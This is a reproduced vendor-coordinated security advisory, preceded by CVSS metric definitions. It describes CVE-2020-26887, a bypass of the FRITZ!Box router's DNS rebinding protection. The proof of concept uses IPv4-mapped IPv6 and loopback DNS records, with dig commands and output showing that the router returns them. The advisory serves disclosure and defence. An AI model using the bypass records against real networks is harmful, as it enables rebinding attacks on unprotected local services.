The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: FRITZ!Box 7.20 DNS Rebinding Protection Bypass
Advisory: FRITZ!Box DNS Rebinding Protection Bypass
RedTeam Pentesting discovered a vulnerability in FRITZ!Box router
devices which allows to resolve DNS answers that point to IP addresses
in the private local network, despite the DNS rebinding protection
mechanism.
Details
=======
Product: FRITZ!Box 7490 and potentially others
Affected Versions: 7.20 and below
Fixed Versions: >= 7.21
Vulnerability Type: Bypass
Security Risk: low
Vendor URL: https://en.avm.de/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-003
Advisory Status: published
CVE: 2020-26887
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26887
Introduction
============
"For security reasons, the FRITZ!Box suppresses DNS responses that refer
to IP addresses in its own home network. This is a security function of
the FRITZ!Box to protect against what are known as DNS rebinding
attacks."
(from the vendor's homepage)
More Details
============
FRITZ!Box router devices employ a protection mechanism against DNS
rebinding attacks. If a DNS answer points to an IP address in the
private network range of the router, the answer is suppressed. Suppose
the FRITZ!Box routers DHCP server is in its default configuration and
serves the private IP range of 192.168.178.1/24. If a DNS request is
made by a connected device, which resolves to an IPv4 address in the
configured private IP range (for example 192.168.178.20) an empty answer
is returned. However, if instead the DNS answer contains an AAAA-record
with the same private IP address in its IPv6 representation
(::ffff:192.168.178.20) it is returned successfully. Furthermore, DNS
requests which resolve to the loopback address 127.0.0.1 or the special
address 0.0.0.0 can be retrieved, too.
Proof of Concept
================
Supposing the following resource records (RR) are configured for different
subdomains of example.com:
------------------------------------------------------------------------
private.example.com 1 IN A 192.168.178.20
local.example.com 1 IN A 127.0.0.1
privateipv6.example.com. 1 IN AAAA ::ffff:192.168.178.20
------------------------------------------------------------------------
A DNS request to the FRITZ!Box router for the subdomain
private.example.com returns an empty answer, as expected:
------------------------------------------------------------------------
$ dig private.example.com @192.168.178.1
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> private.example.com @192.168.178.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58984
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;private.example.com.INA
------------------------------------------------------------------------
DNS requests for the subdomains privateipv6.example.com and
local.example.com return the configured resource records successfully,
effectively bypassing the DNS rebinding protection:
------------------------------------------------------------------------
$ dig privateipv6.example.com @192.168.178.1 AAAA
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> @192.168.178.1 privateipv6.example.com AAAA
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6510
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;privateipv6.example.com.INAAAA
;; ANSWER SECTION:
privateipv6.example.com. 1INAAAA::ffff:192.168.178.20
$ dig local.example.com @192.168.178.1
; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> local.example.com @192.168.178.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28549
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;local.example.com.INA
;; ANSWER SECTION:
local.example.com. 1INA127.0.0.1
------------------------------------------------------------------------
Workaround
==========
None.
Fix
===
The problem is corrected in FRITZ!OS 7.21.
Security Risk
=============
As shown, the DNS rebinding protection of FRITZ!Box routers can be
bypassed allowing for DNS rebinding attacks against connected devices.
This type of attack however is only possible if vulnerable services are
present in the local network, which are reachable over HTTP without
authentication. The web interface of FRITZ!Box routers for example is
not vulnerable to this type of attack, since the HTTP Host header is
checked for known domains. For this reason the risk is estimated to be
low.
Timeline
========
2020-06-23 Vulnerability identified
2020-07-08 Vendor notified
2020-07-20 Vendor provided fixed version to RedTeam Pentesting
2020-07-23 Vendor notified of another problematic IP
2020-08-06 Vendor provided fixed version to RedTeam Pentesting
2020-10-06 Vendor starts distribution of fixed version for selected devices
2020-10-19 Advisory released
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
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Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
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